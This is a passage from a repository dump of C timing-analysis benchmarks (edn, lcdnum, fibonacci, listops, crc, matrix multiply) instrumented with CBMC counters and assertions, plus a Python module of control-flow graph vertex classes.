15);\n x = t + ((coefs[0] * state[0] + coefs[1] * state[1]) >> 15);\n state[1] = state[0];\n state[0] = t;\n coefs += 4;\t/* point to next filter coefs */\n state += 2;\t/* point to next filter states */\n }\n #ifdef CBMC\n assert(__count_52_51_L <= 51); // Loop counter property\n #endif\n\n *optr++ = x;\n #ifdef CBMC\n __count_52_53++;\n __count_53++;\n #endif\n\n#ifdef CBMC\nassert(__count_52_51 >= 50); // Lower capacity constraint\nassert(__count_52_51 <= 50); // Upper capacity constraint\nassert(__count_52_53 >= 1); // Lower capacity constraint\nassert(__count_52_53 <= 1); // Upper capacity constraint\nassert(__count_53 >= 1); // Lower capacity constraint\nassert(__count_53 <= 1); // Upper capacity constraint\n#endif\n\n}\n\n/*****************************************************\n*\tVocoder Codebook Search \t *\n*****************************************************/\nlong int\ncodebook (long int mask, long int bitchanged, long int numbasis, long int codeword, long int g, const short *d, short ddim, short theta)\n{\n#ifdef CBMC\n//==========> codebook : header 27\nint __count_27_26 = 0;\nint __count_27_26_L = 0; //Loop counter\n//==========> codebook : header 25\nint __count_28 = 0;\nint __count_27_28 = 0;\n#endif\n\n long int j;\n long int tmpMask;\n\n tmpMask = mask << 1;\n #ifdef CBMC\n __count_27_26_L = 0;\n #endif\n for (j = bitchanged + 1; j <= numbasis; j++) // 27\n {\n #ifdef CBMC\n __count_27_26_L++;\n __count_27_26++;\n #endif\n/*\t\t\n * The following code is removed since it gave a memory access exception.\n * It is OK since the return value does not control the flow.\n * The loop always iterates a fixed number of times independent of the loop body.\n \n if (theta == !(!(codeword & tmpMask)))\n\t\t\tg += *(d + bitchanged * ddim + j);\n\t\telse\n\t\t\tg -= *(d + bitchanged * ddim + j);\n\t\ttmpMask <<= 1;\n*/\n }\n #ifdef CBMC\n assert(__count_27_26_L <= 17); // Loop counter property\n __count_27_28++;\n __count_28++;\n #endif\n\n#ifdef CBMC\nassert(__count_27_28 >= 1); // Lower capacity constraint\nassert(__count_27_28 <= 1); // Upper capacity constraint\nassert(__count_27_26 >= 16); // Lower capacity constraint\nassert(__count_27_26 <= 16); // Upper capacity constraint\nassert(__count_28 >= 1); // Lower capacity constraint\nassert(__count_28 <= 1); // Upper capacity constraint\n#endif\n\n return g;\n}\n\n\n/*****************************************************\n*\t\tJPEG Discrete Cosine Transform \n*****************************************************/\nvoid\njpegdct(short *d, short *r)\n{\n#ifdef CBMC\n//==========> jpegdct : header 44\nint __count_44_43 = 0;\nint __count_44_43_L = 0; //Loop counter\n//==========> jpegdct : header 46\nint __count_44_45 = 0;\nint __count_46_42 = 0; //Loop counter\n//==========> jpegdct : header 48\nint __count_46_47 = 0;\nint __count_48_41 = 0; //Loop counter\n//==========> jpegdct : header 40\nint __count_49 = 0;\nint __count_48_49 = 0;\n#endif\n long int t[12];\n short i, j, k, m, n, p;\n \n #ifdef CBMC\n __count_48_41 = 0;\n #endif\n for (k = 1, m = 0, n = 13, p = 8;\n k <= 8; \n k += 7, m += 3, n += 3, p -= 7, d -= 64) // 48\n {\n #ifdef CBMC\n __count_48_41++;\n #endif\n\n #ifdef CBMC\n __count_46_42 = 0;\n #endif\n for (i = 0; i < 8; i++, d += p) // 46\n {\n #ifdef CBMC\n __count_46_42++;\n #endif\n\n #ifdef CBMC\n __count_44_43_L = 0;\n #endif\n for (j = 0; j < 4; j++) // 44\n {\n #ifdef CBMC\n __count_44_43_L++;\n __count_44_43++;\n #endif\n t[j] = d[k * j] + d[k * (7 - j)];\n\tt[7 - j] = d[k * j] - d[k * (7 - j)];\n }\n #ifdef CBMC\n assert(__count_44_43_L <= 5); // Loop counter property\n __count_44_45++;\n #endif\n \n t[8] = t[0] + t[3];\n t[9] = t[0] - t[3];\n t[10] = t[1] + t[2];\n t[11] = t[1] - t[2];\n d[0] = (t[8] + t[10]) >> m;\n d[4 * k] = (t[8] - t[10]) >> m;\n t[8] = (short) (t[11] + t[9]) * r[10];\n d[2 * k] = t[8] + (short) ((t[9] * r[9]) >> n);\n d[6 * k] = t[8] + (short) ((t[11] * r[11]) >> n);\n t[0] = (short) (t[4] + t[7]) * r[2];\n t[1] = (short) (t[5] + t[6]) * r[0];\n t[2] = t[4] + t[6];\n t[3] = t[5] + t[7];\n t[8] = (short) (t[2] + t[3]) * r[8];\n t[2] = (short) t[2] * r[1] + t[8];\n t[3] = (short) t[3] * r[3] + t[8];\n d[7 * k] = (short) (t[4] * r[4] + t[0] + t[2]) >> n;\n d[5 * k] = (short) (t[5] * r[6] + t[1] + t[3]) >> n;\n d[3 * k] = (short) (t[6] * r[5] + t[1] + t[2]) >> n;\n d[1 * k] = (short) (t[7] * r[7] + t[0] + t[3]) >> n;\n }\n #ifdef CBMC\n assert(__count_46_42 <= 9); // Loop counter property\n __count_46_47++;\n #endif\n }\n #ifdef CBMC\n assert(__count_48_41 <= 3); // Loop counter property\n __count_48_49++;\n __count_49++;\n #endif\n\n#ifdef CBMC\nassert(__count_46_47 >= 2); // Lower capacity constraint\nassert(__count_46_47 <= 2); // Upper capacity constraint\nassert(__count_48_49 >= 1); // Lower capacity constraint\nassert(__count_48_49 <= 1); // Upper capacity constraint\nassert(__count_44_43 >= 64); // Lower capacity constraint\nassert(__count_44_43 <= 64); // Upper capacity constraint\nassert(__count_44_45 >= 16); // Lower capacity constraint\nassert(__count_44_45 <= 16); // Upper capacity constraint\nassert(__count_49 >= 1); // Lower capacity constraint\nassert(__count_49 <= 1); // Upper capacity constraint\n#endif\n\n}\n\nint\nedn (short a[], short b[])\n{\n#ifdef CBMC\n//==========> edn : header 16\nint __count_24 = 0;\nint __count_16_17 = 0;\n#endif\n\n short c = 0x3;\n long int output[200];\n long int d = 0xAAAA;\n int e[1] = {0xEEEE};\n\n vec_mpy1(a, b, c);\n c = mac(a, b, (long int) c, (long int *) output);\n fir(a, b, output);\n fir_no_red_ld(a, b, output);\n d = latsynth(a, b, N, d);\n iir1(a, b, &output[100], output);\n e[0] = codebook(d, 1, 17, e[0], d, a, c, 1);\n jpegdct(a, b);\n \n #ifdef CBMC\n __count_16_17++;\n __count_24++;\n #endif\n\n#ifdef CBMC\nassert(__count_24 >= 1); // Lower capacity constraint\nassert(__count_24 <= 1); // Upper capacity constraint\nassert(__count_16_17 >= 1); // Lower capacity constraint\nassert(__count_16_17 <= 1); // Upper capacity constraint\n#endif\n\n return e[0];\n}\n\nint\nmain (int argc, char *argv[])\n{ \n short a[ARRAY_SIZE];\n short b[ARRAY_SIZE];\n int i;\n int k;\n \n /*\n * Need two arrays of size ARRAY_SIZE\n */\n if (argc != 2*ARRAY_SIZE+1)\n {\n return 1;\n }\n\n k = 0;\n for (i = 0; i < ARRAY_SIZE; ++i)\n {\n a[i] = (short) atoi (argv[k + 1]);\n k++;\n }\n\n for (i = 0; i < ARRAY_SIZE; ++i)\n {\n b[i] = (short) atoi (argv[k + 1]);\n k++;\n }\n\n int val = edn (a, b);\n printf(\"%d\", val);\n\n return 0;\n}\n" }, { "alpha_fraction": 0.3844011127948761, "alphanum_fraction": 0.49227651953697205, "avg_line_length": 20, "blob_id": "d5b2b87dc282476efdb7eac6ff432f55d15eb66d", "content_id": "043b22c9f14cecc5413c957dcb0d9d6ae5e9f30b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 3949, "license_type": "no_license", "max_line_length": 74, "num_lines": 188, "path": "/DaikonPathInformation/benchmarks/lcdnum.c", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "/*\n * LCD number (lcdnum) program taken from MDH suite and modified by Adam Betts\n * to consume a test vector supplied on the command line.\n *\n * For this program, the test vector is a single hexadecimal digit\n * The input range is therefore [0..15]\n */\n\nunsigned char\nlcdnum (unsigned char a)\n{\n#ifdef CBMC\n//==========> lcdnum : header 1\nint __count_20 = 0;\nint __count_1_19 = 0;\nint __count_2_4 = 0;\nint __count_2_5 = 0;\nint __count_2_6 = 0;\nint __count_2_9 = 0;\nint __count_2_12 = 0;\nint __count_2_13 = 0;\nint __count_2_14 = 0;\nint __count_2_17 = 0;\nint __count_3_20 = 0;\nint __count_7_20 = 0;\nint __count_8_20 = 0;\nint __count_10_20 = 0;\nint __count_11_20 = 0;\nint __count_15_20 = 0;\nint __count_16_20 = 0;\nint __count_18_20 = 0;\n#endif\n switch (a)\n {\n case 0x00: // 3\n #ifdef CBMC\n __count_3_20++;\n __count_20++;\n #endif\n return 0; //=0\n case 0x01: // 4\n #ifdef CBMC\n __count_2_4++;\n __count_20++;\n #endif\n return 0x24; //=36\n case 0x02: // 5\n #ifdef CBMC\n __count_2_5++;\n __count_20++;\n #endif\n return 1 + 4 + 8 + 16 + 64; //=93\n case 0x03: // 6\n #ifdef CBMC\n __count_2_6++;\n __count_20++;\n #endif\n return 1 + 4 + 8 + 32 + 64; //=109\n case 0x04: // 7\n #ifdef CBMC\n __count_7_20++;\n __count_20++;\n #endif\n return 2 + 4 + 8 + 32; //=46\n case 0x05: // 8\n #ifdef CBMC\n __count_8_20++;\n __count_20++;\n #endif\n return 1 + 4 + 8 + 16 + 64; //=93\n case 0x06: // 9\n #ifdef CBMC\n __count_2_9++;\n __count_20++;\n #endif\n return 1 + 2 + 8 + 16 + 32 + 64; //=123\n case 0x07: // 10\n #ifdef CBMC\n __count_10_20++;\n __count_20++;\n #endif\n return 1 + 4 + 32; //=37\n case 0x08: // 11\n #ifdef CBMC\n __count_11_20++;\n __count_20++;\n #endif\n return 0x7F; /* light all */ //=127\n case 0x09: // 12\n #ifdef CBMC\n __count_2_12++;\n __count_20++;\n #endif\n return 0x0F + 32 + 64; //=111\n case 0x0A: // 13\n #ifdef CBMC\n __count_2_13++;\n __count_20++;\n #endif\n return 0x0F + 16 + 32; //=63\n case 0x0B: // 14\n #ifdef CBMC\n __count_2_14++;\n __count_20++;\n #endif\n return 2 + 8 + 16 + 32 + 64; //=122\n case 0x0C: // 15\n #ifdef CBMC\n __count_15_20++;\n __count_20++;\n #endif\n return 1 + 2 + 16 + 64; //=83\n case 0x0D: // 16\n #ifdef CBMC\n __count_16_20++;\n __count_20++;\n #endif\n return 4 + 8 + 16 + 32 + 64; //=124\n case 0x0E: // 17\n #ifdef CBMC\n __count_2_17++;\n __count_20++;\n #endif\n return 1 + 2 + 8 + 16 + 64; //=91\n case 0x0F: // 18\n #ifdef CBMC\n __count_18_20++;\n __count_20++;\n #endif\n return 1 + 2 + 8 + 16; //=27\n }\n\n // 19\n #ifdef CBMC\n __count_1_19++;\n __count_20++;\n #endif\n \n #ifdef CBMC\nassert(__count_2_12 <= 1); // Upper capacity constraint\nassert(__count_2_13 == 0); // Dead code\nassert(__count_2_14 == 0); // Dead code\nassert(__count_18_20 <= 1); // Upper capacity constraint\nassert(__count_3_20 <= 1); // Upper capacity constraint\nassert(__count_7_20 == 0); // Dead code\nassert(__count_8_20 <= 1); // Upper capacity constraint\nassert(__count_10_20 <= 1); // Upper capacity constraint\nassert(__count_11_20 <= 1); // Upper capacity constraint\nassert(__count_15_20 <= 1); // Upper capacity constraint\nassert(__count_16_20 == 0); // Dead code\n//assert(__count_1_19 == 0); // Execution dependence\n#endif\n\n return 0;\n}\n\nint\nmain (int argc, char *argv[])\n{\n int i;\n volatile unsigned char OUT;\n unsigned char a;\n\n /*\n * One integer must be supplied\n */\n if (argc != 2)\n {\n return 1;\n }\n\n a = atoi (argv[1]);\n \n #ifdef CBMC\n __CPROVER_assume(a >= 0 && a <= 15);\n #endif\n\n for (i = 0; i < 10; i++)\n {\n if (i < 5)\n {\n a = a & 0x0F;\n OUT = lcdnum(a);\n }\n }\n\n return 0;\n}\n\n" }, { "alpha_fraction": 0.4095940887928009, "alphanum_fraction": 0.45387452840805054, "avg_line_length": 11.88888931274414, "blob_id": "eb1103fbea0f3a4b717d20cf4978a6b86dc6ccec", "content_id": "cf16e593e50bf1a9183760bbf052a49f243bbfc4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 813, "license_type": "no_license", "max_line_length": 31, "num_lines": 63, "path": "/DaikonPathInformation/benchmarks/fibonacci.c", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "\nint \nfibonacci (int n)\n{\n #ifdef CBMC\n int __count_2_9 = 0;\n int __count_4_9 = 0;\n int __count_7_6 = 0;\n int __count_L7 = 0;\n #endif\n\n if (n == 0) // 1 \n {\n #ifdef CBMC\n __count_2_9++;\n #endif\n return 0; // 2\n }\n if (n == 1) // 3\n {\n #ifdef CBMC\n __count_4_9++;\n #endif\n return 1; // 4\n }\n\n// 5\n int prevPrev = 0;\n int prev = 1;\n int result = 0;\n int i;\n\n for (i = 2; \n #ifdef CBMC\n __count_L7++,\n #endif\n i <= n; i++) // 7\n {\n #ifdef CBMC\n __count_7_6++;\n #endif\n result = prev + prevPrev;\n prevPrev = prev;\n prev = result;\n }\n return result;\n}\n\nint \nmain (int argc, char *argv[])\n{\n int num;\n\n if (argc != 2)\n {\n return 1;\n }\n \n num = atoi(argv[1]);\n int val = fibonacci (num);\n printf(\"%d\", val);\n \n return 0;\n}\n" }, { "alpha_fraction": 0.5148975849151611, "alphanum_fraction": 0.5325884819030762, "avg_line_length": 13.319999694824219, "blob_id": "0020d6b7d3d1ccad37ec8ec04ce86cd75026f037", "content_id": "4998669d39bbf02656155670654fc613d4772876", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 2148, "license_type": "no_license", "max_line_length": 82, "num_lines": 150, "path": "/benchmarks/listops/listops.c", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "/*\n * Takes a vector of poistive integers and returns a calculated value\n * the value is dependent on the first integer as a different function is selected\n * based upon the value of this integer\n */\n\nint max(int ARRAY_SIZE, int a[])\n{\n\tint i;\n\tint max = -1;\n\tfor (i = 0; i < ARRAY_SIZE; i++)\n\t{\n\t\tif(a[i] > max)\n\t\t{\n\t\t\tmax = a[i];\n\t\t}\n\t}\n\treturn max;\n}\n\nint min(int ARRAY_SIZE, int a[])\n{\n\tint i;\n\tint min = -1;\n\tfor (i = 0; i < ARRAY_SIZE; i++)\n\t{\n\t\tif(a[i] < min || min == -1)\n\t\t{\n\t\t\tmin = a[i];\n\t\t}\n\t}\n\treturn min;\n}\n\nint sum(int ARRAY_SIZE, int a[])\n{\n\tint i;\n\tint sum = 0;\n\tfor (i = 0; i < ARRAY_SIZE; i++)\n\t{\n\t\tsum += a[i];\n\t}\n\treturn sum;\n}\n\nint product(int ARRAY_SIZE, int a[])\n{\n\tint i;\n\tint product = 1;\n\tfor (i = 0; i < ARRAY_SIZE; i++)\n\t{\n\t\tproduct *= a[i];\n\t}\n\treturn product;\n}\n\nint mean(int ARRAY_SIZE, int a[])\n{\n\tint i;\n\tint mean = 0;\n\tfor (i = 0; i < ARRAY_SIZE; i++)\n\t{\n\t\tmean += a[i];\n\t}\n\tmean /= ARRAY_SIZE;\n\treturn mean;\n}\n\nint median(int ARRAY_SIZE, int a[])\n{\n\tint pos = 1;\n\tint temp;\n\t\n\twhile (pos < ARRAY_SIZE)\n\t{\n\t\tif (a[pos] >= a[pos - 1])\n\t\t{\n\t\t\tpos++;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t// Swap a[pos] and a[pos - 1]\n\t\t\ttemp = a[pos];\n\t\t\ta[pos] = a[pos - 1];\n\t\t\ta[pos - 1] = temp;\n\n\t\t\tif (pos > 1)\n\t\t\t{\n\t\t\t\tpos--;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tpos++;\n\t\t\t}\n\t\t}\n\t}\n\n\tif (ARRAY_SIZE % 2)\n\t{\n\t\treturn a[ARRAY_SIZE / 2];\n\t}\n\telse\n\t{\n\t\treturn (a[ARRAY_SIZE / 2] + a[(ARRAY_SIZE / 2) - 1]) / 2;\n\t}\n}\n\nint listops(int ARRAY_SIZE, int a[])\n{\n\tint n = a[0] % 6;\n\tint result = 0;\n\n\tswitch (n)\n\t{\n\t\tcase 0 : result = max(ARRAY_SIZE, a); break;\n\t\tcase 1 : result = min(ARRAY_SIZE, a); break;\n\t\tcase 2 : result = sum(ARRAY_SIZE, a); break;\n\t\tcase 3 : result = product(ARRAY_SIZE, a); break;\n\t\tcase 4 : result = mean(ARRAY_SIZE, a); break;\n\t\tdefault : result = median(ARRAY_SIZE, a); break;\n\t}\n\n\treturn result;\n}\n\nint main (int argc, char *argv[])\n{\n\tconst int ARRAY_SIZE = argc - 1;\n\tint TV[ARRAY_SIZE];\n\tint i;\n\n\t/*\n\t * At least one integer value must be supplied\n\t */\n\tif (argc == 1)\n\t{\n\t\treturn 1;\n\t}\n\n\tfor (i = 0; i < argc - 1; i++)\n\t{\n\t\tTV[i] = atoi (argv[i + 1]);\n\t}\n\n\tint result = listops (ARRAY_SIZE, TV);\n\n\t//printf(\"%i\\n\", result);\n\n\treturn 0;\n}\n" }, { "alpha_fraction": 0.494751900434494, "alphanum_fraction": 0.5429389476776123, "avg_line_length": 18.773584365844727, "blob_id": "d3b113ebaa353fe6ac6471589f52a969a7c355de", "content_id": "ff48ca655d91d1eec36d394cca5bb77b28021402", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 2096, "license_type": "no_license", "max_line_length": 131, "num_lines": 106, "path": "/benchmarks/crc/crc.c", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "/*\n * Cyclic Redundancy Check (CRC) taken from MDH suite and modified by Adam\n * Betts to consume a test vector supplied on the command line.\n *\n * For this program, a one-element test vector is expected.\n */\n\ntypedef unsigned char uchar;\n#define LOBYTE(x) ((uchar)((x) & 0xFF))\n#define HIBYTE(x) ((uchar)((x) >> 8))\n\nunsigned short\ncrc1 (unsigned char * lin, unsigned short the_crc, unsigned char onech)\n{\n int i;\n unsigned short ans = (the_crc ^ onech << 8);\n\n for (i = 0; i < 8; i++)\n {\n if (ans & 0x8000)\n {\n ans = (ans <<= 1) ^ 4129;\n }\n else\n {\n ans <<= 1;\n }\n }\n return ans;\n}\n\nunsigned short\ncrc (unsigned char * lin, unsigned short the_crc, unsigned long len,\n short jinit, int jrev)\n{\n static unsigned short icrctb[256];\n static unsigned short init = 0;\n static uchar rchr[256];\n static uchar it[16] =\n {0, 8, 4, 12, 2, 10, 6, 14, 1, 9, 5, 13, 3, 11, 7, 15};\n\n unsigned short tmp1;\n unsigned short tmp2;\n unsigned short j;\n unsigned short cword = the_crc;\n\n if (!init)\n {\n init = 1;\n for (j = 0; j <= 255; j++)\n {\n icrctb[j] = crc1 (lin, j << 8, (uchar) 0);\n rchr[j] = (uchar) (it[j & 0xF] << 4 | it[j >> 4]);\n }\n }\n\n if (jinit >= 0)\n {\n cword = ((uchar) jinit) | (((uchar) jinit) << 8);\n }\n else if (jrev < 0)\n {\n cword = rchr[HIBYTE(cword)] | rchr[LOBYTE(cword)] << 8;\n }\n\n for (j = 1; j <= len; j++)\n {\n if (jrev < 0)\n {\n tmp1 = rchr[lin[j]] ^ HIBYTE(cword);\n }\n else\n {\n tmp1 = lin[j] ^ HIBYTE(cword);\n }\n cword = icrctb[tmp1] ^ LOBYTE(cword) << 8;\n }\n\n if (jrev >= 0)\n {\n tmp2 = cword;\n }\n else\n {\n tmp2 = rchr[HIBYTE(cword)] | rchr[LOBYTE(cword)] << 8;\n }\n return (tmp2);\n}\n\nint\nmain (int argc, char *argv[])\n{\n unsigned short i1;\n unsigned short i2;\n unsigned long n = 40;\n unsigned char lin[256] = \"asdffeagewaHAFEFaeDsFEawFdsFaefaeerdjgp\";\n\n lin[n + 1] = 0;\n i1 = crc (lin, 0, n, (short) 0, 1);\n lin[n + 1] = HIBYTE(i1);\n lin[n + 2] = LOBYTE(i1);\n i2 = crc (lin, i1, n + 2, (short) 0, 1);\n\n printf (\"%d %d %s\\n\", i1, i2, lin);\n\n return 0;\n}\n" }, { "alpha_fraction": 0.5779114961624146, "alphanum_fraction": 0.5794411301612854, "avg_line_length": 36.28897476196289, "blob_id": "bcfba2f715fc5388ce81818349bccfc751e50b57", "content_id": "8f66be09589390ee4bbf468a886324a87ed424da", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 9806, "license_type": "no_license", "max_line_length": 128, "num_lines": 263, "path": "/DaikonPathInformation/src/vertices.py", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "import edges\nimport shlex\nimport collections\n\ndummyID = 0\n\nclass Vertex:\n def __init__ (self, vertexID):\n self.vertexID = vertexID\n self.predecessors = {}\n self.successors = {}\n self.dummy = False\n \n def add_predecessor(self, predID, edgeID=None):\n assert predID not in self.predecessors, \"Vertex %d already has predecessor %d\" % (self.vertexID, predID)\n e = edges.Edge(predID, edgeID)\n self.predecessors[predID] = e\n \n def add_predecessor_edge(self, prede):\n assert prede.vertexID not in self.predecessors, \"Vertex %d already has predecessor %d\" % (self.vertexID, prede.vertexID)\n self.predecessors[prede.vertexID] = prede\n \n def remove_predecessor(self, predID):\n assert predID in self.predecessors, \"Cannot remove %d as it is not in predecessor of %d\" % (predID, self.vertexID)\n del self.predecessors[predID]\n \n def number_of_predecessors(self):\n return len(self.predecessors)\n \n def has_predecessor(self, predID):\n return predID in self.predecessors.keys()\n \n def get_predecessor_edge(self, predID):\n assert predID in self.predecessors, \"Vertex %d is not a predecessor of %d\" % (predID, self.vertexID)\n return self.predecessors[predID]\n \n def add_successor(self, succID, edgeID=None):\n assert succID not in self.successors, \"Vertex %d already has successor %d\" % (self.vertexID, succID)\n e = edges.Edge(succID, edgeID)\n self.successors[succID] = e\n \n def add_successor_edge(self, succe):\n assert succe.vertexID not in self.successors, \"Vertex %d already has successor %d\" % (self.vertexID, succe.vertexID)\n self.successors[succe.vertexID] = succe\n \n def remove_successor(self, succID):\n assert succID in self.successors, \"Cannot remove %d as it is not in successors of %d\" % (succID, self.vertexID)\n del self.successors[succID]\n \n def number_of_successors(self):\n return len(self.successors)\n \n def has_successor(self, succID):\n return succID in self.successors.keys()\n \n def get_successor_edge(self, succID):\n assert succID in self.successors, \"Vertex %d is not a successor of %d\" % (succID, self.vertexID)\n return self.successors[succID]\n \n def predecessor_string(self):\n string = \"pred = {\"\n count = 1\n for predID in sorted(self.predecessors.keys()):\n string += str(predID)\n if count < len(self.predecessors):\n string += \",\"\n count = count + 1\n string += \"}\"\n return string\n \n def successor_string(self): \n string = \"succ = {\"\n count = 1\n for succID in sorted(self.successors.keys()):\n string += str(succID)\n if count < len(self.successors):\n string += \",\"\n count = count + 1\n string += \"}\"\n return string\n \n def __str__(self):\n return \"%d: %s %s\\n\" % (self.vertexID, self.successor_string(), self.predecessor_string())\n \nclass TreeVertex(Vertex):\n def __init__ (self, vertexID):\n Vertex.__init__(self, vertexID)\n self.parentID = dummyID\n self.level = -1\n \nclass HeaderVertex(TreeVertex):\n def __init__ (self, vertexID, headerID):\n TreeVertex.__init__(self, vertexID)\n self.headerID = headerID\n \nclass CFGVertex(Vertex):\n def __init__(self, vertexID, name=None):\n Vertex.__init__(self, vertexID)\n self.name = name\n \nclass CFGEdge(Vertex):\n def __init__(self, vertexID, predID, succID, name=None):\n Vertex.__init__(self, vertexID)\n self.edge = (predID, succID)\n self.name = name\n \n def __str__(self):\n return \"%s%s\\n\" % (Vertex.__str__(self), self.edge) \n\nclass BasicBlock(CFGVertex):\n class Instruction: \n @staticmethod \n def get_instruction(line):\n lexemes = shlex.split(line.strip())\n address = None\n the_instruction = []\n opcode_found = False\n for index, lex in enumerate(lexemes):\n if index == 0:\n address = int(lex[:-1], 16)\n else:\n if lex == ';':\n # Comment signifies end of parsing\n break\n if not opcode_found:\n if len(lex) != 4:\n # Some instruction ops can be hexadecimal numbers\n opcode_found = True\n else:\n try:\n int(lex, 16)\n except ValueError:\n opcode_found = True\n if opcode_found:\n the_instruction.append(lex)\n return BasicBlock.Instruction(address, the_instruction)\n \n def __init__ (self, address, the_instruction):\n self.address = address\n self.the_instruction = the_instruction\n \n def __str__(self):\n return \"%s : %s\" % (hex(self.address), ' '.join(self.the_instruction))\n \n def __init__ (self, vertexID, name=None):\n CFGVertex.__init__(self, vertexID, name)\n self.instructions = []\n self.originalID = self.vertexID\n \nclass CallGraphVertex (Vertex):\n def __init__ (self, vertexID, name):\n Vertex.__init__(self, vertexID)\n self.name = name\n \n def add_predecessor(self, predID, call_siteID):\n if predID not in self.predecessors:\n the_edge = edges.CallGraphEdge(predID)\n self.predecessors[predID] = the_edge\n the_edge = self.predecessors[predID]\n the_edge.call_sites.add(call_siteID)\n \n def add_successor(self, succID, call_siteID):\n if succID not in self.successors:\n the_edge = edges.CallGraphEdge(succID)\n self.successors[succID] = the_edge\n the_edge = self.successors[succID]\n the_edge.call_sites.add(call_siteID)\n \n def get_successor_with_call_site(self, call_siteID):\n for succe in self.getSuccessoredges():\n if call_siteID in succe.getCallSites():\n return succe.vertexID\n assert False, \"Unable to find successor of context %d with call site %d\" % (self._vertexID, call_siteID)\n \n def __str__ (self):\n return \"%s\\n%s\" % (self.name, Vertex.__str__(self))\n \nclass SuperBlock(Vertex):\n def __init__(self, vertexID, headerID):\n Vertex.__init__(self, vertexID)\n self.headerID = headerID\n self.program_points = []\n self.representative = None\n self.successor_partitions = collections.OrderedDict()\n self.exit_edge = False\n \nclass PathInformationVertex:\n def __init__ (self, vertexID, programPoint, headerID):\n self.vertexID = vertexID\n self._programPoint = programPoint\n self._headerID = headerID\n self._counterForHeaderIDs = set([])\n self._successors = {}\n self._successors[edges.PathInformationEdgeType.CAPACITY_BOUNDS] = []\n self._successors[edges.PathInformationEdgeType.LOOP_BOUNDS] = []\n self._successors[edges.PathInformationEdgeType.EXCLUSION] = set([])\n self._successors[edges.PathInformationEdgeType.INCLUSION] = set([])\n \n def getProgramPoint (self):\n return self._programPoint\n\n def getHeaderID (self):\n return self._headerID\n \n def setCounterForHeaders (self, headerIDs):\n assert isinstance(headerIDs, set)\n self._counterForHeaderIDs = headerIDs\n \n def getHeaderIDsForWhichToCount (self):\n return self._counterForHeaderIDs\n \n def isEffectiveHeaderCounter (self):\n return len(self._counterForHeaderIDs) > 0\n \n def addSuccessorEdge (self, succID, edgeType):\n if edgeType == edges.PathInformationEdgeType.LOOP_BOUNDS:\n succe = edges.LoopBoundEdge(succID)\n self._successors[edgeType].append(succe)\n elif edgeType == edges.PathInformationEdgeType.CAPACITY_BOUNDS:\n succe = edges.CapacityBoundEdge(succID)\n self._successors[edgeType].append(succe)\n else:\n succe = edges.PathInformationEdge(succID, edgeType)\n self._successors[edgeType].add(succe)\n \n def removeSuccessorEdge (self, succID, edgeType):\n theEdge = None\n for succe in self._successors[edgeType]:\n if succe.vertexID == succID:\n theEdge = succe\n break\n if theEdge:\n self._successors[edgeType].remove(succe)\n \n def hasSuccessorEdge (self, succID, edgeType):\n for succe in self._successors[edgeType]:\n if succe.vertexID == succID:\n return True\n return False\n \n def hasSuccessoredges (self, edgeType):\n return len(self._successors[edgeType]) > 0\n \n def getSuccessorEdge (self, succID, edgeType):\n for succe in self._successors[edgeType]:\n if succe.vertexID == succID:\n return succe\n assert False\n \n def getSuccessoredges (self, edgeType):\n return self._successors[edgeType]\n \n def numberOfSuccessors (self, edgeType=None):\n if edgeType:\n return len(self._successors[edgeType])\n return len(self._successors)\n \n def removeAllSuccessors (self):\n self._successors[edges.PathInformationEdgeType.EXCLUSION] = set([])\n self._successors[edges.PathInformationEdgeType.INCLUSION] = set([])\n \n def __str__ (self):\n return str(self._programPoint)" }, { "alpha_fraction": 0.5173511505126953, "alphanum_fraction": 0.5593760013580322, "avg_line_length": 21.589927673339844, "blob_id": "1b2e98bd549c82210ccf4069a20b51186b929904", "content_id": "178f5a83f5418d690ed56c23af3fb98242e6663f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 3141, "license_type": "no_license", "max_line_length": 91, "num_lines": 139, "path": "/DaikonPathInformation/benchmarks/matrixmultiply.c", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "/*\n * Matrix multiplication taken from MDH suite and modified by Adam Betts to\n * consume a test vector supplied on the command line.\n *\n * For this program, the test vector consists of 25 integers since there are\n * two 5*5 matrices to be initialised before multiplication.\n */\n\n#define UPPERLIMIT 5\ntypedef int matrix[UPPERLIMIT][UPPERLIMIT];\n\nint\nmatrixmultiply (matrix A, matrix B, matrix C)\n{\n#ifdef CBMC\n//==========> matrixmultiply : header 5\nint __count_5_4 = 0;\nint __count_5_4_L = 0; //Loop counter\n//==========> matrixmultiply : header 7\nint __count_5_6 = 0;\nint __count_7_3 = 0; //Loop counter\n//==========> matrixmultiply : header 9\nint __count_7_8 = 0;\nint __count_9_2 = 0; //Loop counter\n//==========> matrixmultiply : header 1\nint __count_10 = 0;\nint __count_9_10 = 0;\n#endif\n\n int i, j, k;\n\n #ifdef CBMC\n __count_9_2 = 0;\n #endif\n for (i = 0; i < UPPERLIMIT; ++i) // 9\n {\n #ifdef CBMC\n __count_9_2++;\n #endif\n\n #ifdef CBMC\n __count_7_3 = 0;\n #endif\n for (j = 0; j < UPPERLIMIT; ++j) // 7\n {\n #ifdef CBMC\n __count_7_3++;\n #endif\n C[i][j] = 0;\n #ifdef CBMC\n __count_5_4_L = 0;\n #endif\n for (k = 0; k < UPPERLIMIT; ++k) // 5\n {\n #ifdef CBMC\n __count_5_4++;\n __count_5_4_L++;\n #endif\n C[i][j] += A[j][k] * B[k][j];\n }\n #ifdef CBMC\n assert(__count_5_4_L <= 6); // Loop counter property\n __count_5_6++;\n #endif\n }\n #ifdef CBMC\n assert(__count_7_3 <= 6); // Loop counter property\n __count_7_8++;\n #endif\n }\n #ifdef CBMC\n assert(__count_9_2 <= 6); // Loop counter property\n __count_9_10++;\n __count_10++;\n #endif\n\n#ifdef CBMC\nassert(__count_5_6 >= 